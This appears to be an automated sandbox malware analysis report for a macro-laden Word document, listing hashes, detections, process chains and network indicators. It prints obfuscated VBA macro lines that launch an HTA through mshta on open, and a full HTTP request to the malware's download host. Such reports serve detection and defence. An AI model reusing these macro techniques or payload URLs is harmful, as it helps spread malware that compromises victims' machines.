Windows Analysis Report enjoin,12.27.2021.doc

Overview

General Information

Sample Name: enjoin,12.27.2021.doc
Analysis ID: 546767
MD5: 7044bd240219ec2f83b01c532e2ce5ba
SHA1: 745cdbc4a826c5960eef3f4a9aa307ff94e4b7fb
SHA256: ecd84fa8d836d5057149b2b3a048d75004ca1a1377fcf2f5e67374af3a1161a0
Tags: doc
Infos:

Most interesting Screenshot:

Detection

Score: 64
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Document contains an embedded VBA macro which may execute processes
Sigma detected: Suspicious MSHTA Process Patterns
Document exploit detected (process start blacklist hit)
Machine Learning detection for sample
Queries the volume information (name, serial number etc) of a device
Potential document exploit detected (unknown TCP traffic)
Searches for the Microsoft Outlook file path
Uses a known web browser user agent for HTTP communication
May sleep (evasive loops) to hinder dynamic analysis
Creates a window with clipboard capturing capabilities
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Potential document exploit detected (performs DNS queries)
Document contains an embedded VBA macro which reads document properties (may be used for disguise)
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Searches for user specific document files

Classification

AV Detection:

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Multi AV Scanner detection for submitted file
Source: enjoin,12.27.2021.doc ReversingLabs: Detection: 44%
Machine Learning detection for sample
Source: enjoin,12.27.2021.doc Joe Sandbox ML: detected
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior

Software Vulnerabilities:

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Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\explorer.exe
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 45.67.229.54:80
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: patelboostg.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 45.67.229.54:80

Networking:

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Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /frhe/L8dclCye7SQ5WTFva78FDxOjGBOF9iJro4DRgV/5inYIaSBt0KLfMB9kXwZBv6ZpTsny6/qAhIQjrAaLKJeTLQnbCarASpMADNe9u19Kylnkoreo7/SjqMh4eEx0Hx9b4h5e2fMcQgeIbFT/kKeSzfUaenwSFB/ISkVIHedx0p/49280/SruwcI68Yb5pVaVqfvyOHztDsbEuhGxtlV6bpgPIFvGFQ277/7FkN9pAcaWDfFlGNBeuaqGed8iDibaWexT/GyAAzLRbFAU1XErrU1F/vaci3?page=V8BBaQuem65&page=XYvyd0Dcrg6fJYLGHRVWp7s1tv&page=dvZwXcjcYCjBX8tPaALshiDAx85PEq&sid=10tOgWzOZj9xyAidNJAz3d9Ob0 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: patelboostg.comConnection: Keep-Alive
Source: mshta.exe, 00000004.00000002.422851732.00000000061D0000.00000004.00000001.sdmp String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: mshta.exe, 00000004.00000002.422058921.00000000036D0000.00000002.00020000.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: mshta.exe, 00000004.00000002.422851732.00000000061D0000.00000004.00000001.sdmp String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: mshta.exe, 00000004.00000002.422058921.00000000036D0000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com
Source: mshta.exe, 00000004.00000002.422058921.00000000036D0000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com/
Source: mshta.exe, 00000004.00000002.422251797.00000000038B7000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: mshta.exe, 00000004.00000002.422251797.00000000038B7000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: mshta.exe, 00000004.00000003.421274202.000000000235B000.00000004.00000001.sdmp, mshta.exe, 00000004.00000003.420884675.0000000000382000.00000004.00000001.sdmp, mshta.exe, 00000004.00000002.422873506.00000000061F8000.00000004.00000001.sdmp, mshta.exe, 00000004.00000002.421768201.0000000000388000.00000004.00000001.sdmp String found in binary or memory: http://patelboostg.com/frhe/L8dclCye7SQ5WTFva78FDxOjGBOF9iJro4DRgV/5inYIaSBt0KLfMB9kXwZBv6ZpTsny6/qA
Source: explorer.exe, 00000002.00000002.406995394.0000000001C50000.00000002.00020000.sdmp, explorer.exe, 00000003.00000002.407293237.0000000001D40000.00000002.00020000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: mshta.exe, 00000004.00000002.422251797.00000000038B7000.00000002.00020000.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: mshta.exe, 00000004.00000002.422251797.00000000038B7000.00000002.00020000.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: explorer.exe, 00000002.00000002.406995394.0000000001C50000.00000002.00020000.sdmp, explorer.exe, 00000003.00000002.407293237.0000000001D40000.00000002.00020000.sdmp String found in binary or memory: http://www.%s.comPA
Source: mshta.exe, 00000004.00000002.422058921.00000000036D0000.00000002.00020000.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: mshta.exe, 00000004.00000002.422251797.00000000038B7000.00000002.00020000.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: mshta.exe, 00000004.00000002.422058921.00000000036D0000.00000002.00020000.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: mshta.exe, 00000004.00000002.422058921.00000000036D0000.00000002.00020000.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B70C9704-7AD7-458C-BF06-A25E66915659}.tmp Jump to behavior
Source: unknown DNS traffic detected: queries for: patelboostg.com
Source: global traffic HTTP traffic detected: GET /frhe/L8dclCye7SQ5WTFva78FDxOjGBOF9iJro4DRgV/5inYIaSBt0KLfMB9kXwZBv6ZpTsny6/qAhIQjrAaLKJeTLQnbCarASpMADNe9u19Kylnkoreo7/SjqMh4eEx0Hx9b4h5e2fMcQgeIbFT/kKeSzfUaenwSFB/ISkVIHedx0p/49280/SruwcI68Yb5pVaVqfvyOHztDsbEuhGxtlV6bpgPIFvGFQ277/7FkN9pAcaWDfFlGNBeuaqGed8iDibaWexT/GyAAzLRbFAU1XErrU1F/vaci3?page=V8BBaQuem65&page=XYvyd0Dcrg6fJYLGHRVWp7s1tv&page=dvZwXcjcYCjBX8tPaALshiDAx85PEq&sid=10tOgWzOZj9xyAidNJAz3d9Ob0 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: patelboostg.comConnection: Keep-Alive

Key, Mouse, Clipboard, Microphone and Screen Capturing:

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Creates a window with clipboard capturing capabilities
Source: C:\Windows\SysWOW64\mshta.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior

System Summary:

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Document contains an embedded VBA macro which may execute processes
Source: enjoin,12.27.2021.doc OLE, VBA macro line: CreateObject("wsc" + cont1("company") + "ell").exec cont1("category") + " " + mouseVideo
Source: VBA code instrumentation OLE, VBA macro: Module ThisDocument, Function srn1, API IWshShell3.exec("explorer i7Gigabyte.hta") Name: srn1
Searches for the Microsoft Outlook file path
Source: C:\Windows\SysWOW64\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Document contains an embedded VBA macro which executes code when the document is opened / closed
Source: enjoin,12.27.2021.doc OLE, VBA macro line: Sub Document_Open()
Source: VBA code instrumentation OLE, VBA macro: Module ThisDocument, Function Document_Open Name: Document_Open
Document contains embedded VBA macros
Source: enjoin,12.27.2021.doc OLE indicator, VBA macros: true
Document contains an embedded VBA macro which reads document properties (may be used for disguise)
Source: enjoin,12.27.2021.doc OLE, VBA macro line: cont1 = activedocument.builtindocumentproperties(i7computermonitor).value
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\SysWOW64\mshta.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: enjoin,12.27.2021.doc ReversingLabs: Detection: 44%
Source: C:\Windows\explorer.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\explorer.exe explorer i7Gigabyte.hta
Source: unknown Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\mshta.exe "C:\Windows\SysWOW64\mshta.exe" "C:\Users\user\Documents\i7Gigabyte.hta"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\explorer.exe explorer i7Gigabyte.hta Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\mshta.exe "C:\Windows\SysWOW64\mshta.exe" "C:\Users\user\Documents\i7Gigabyte.hta" Jump to behavior
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: enjoin,12.27.2021.doc OLE indicator, Word Document stream: true
Source: mshta.exe, 00000004.00000002.422058921.00000000036D0000.00000002.00020000.sdmp Binary or memory string: .VBPud<_
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$join,12.27.2021.doc Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRCC72.tmp Jump to behavior
Source: classification engine Classification label: mal64.expl.winDOC@6/13@1/1
Source: enjoin,12.27.2021.doc OLE document summary: title field not present or empty
Source: enjoin,12.27.2021.doc OLE document summary: author field not present or empty
Source: enjoin,12.27.2021.doc OLE document summary: edited time not present or 0
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\explorer.exe
Source: unknown Process created: C:\Windows\explorer.exe
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\explorer.exe Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: enjoin,12.27.2021.doc Initial sample: OLE summary comments = ta
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: enjoin,12.27.2021.doc Initial sample: OLE document summary bytes = 26624
Source: enjoin,12.27.2021.doc Initial sample: OLE document summary category = explorer
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: enjoin,12.27.2021.doc Stream path 'Data' entropy: 7.93699752134 (max. 8.0)

Malware Analysis System Evasion:

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May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\explorer.exe TID: 2604 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 2604 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 2780 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe TID: 2852 Thread sleep time: -360000s >= -30000s Jump to behavior
Source: explorer.exe, 00000003.00000003.406664459.000000000041E000.00000004.00000001.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Language, Device and Operating System Detection:

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Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\mshta.exe Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation Jump to behavior
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

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Searches for user specific document files
Source: C:\Windows\explorer.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Windows\explorer.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Directory queried: C:\Users\user\Documents Jump to behavior
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs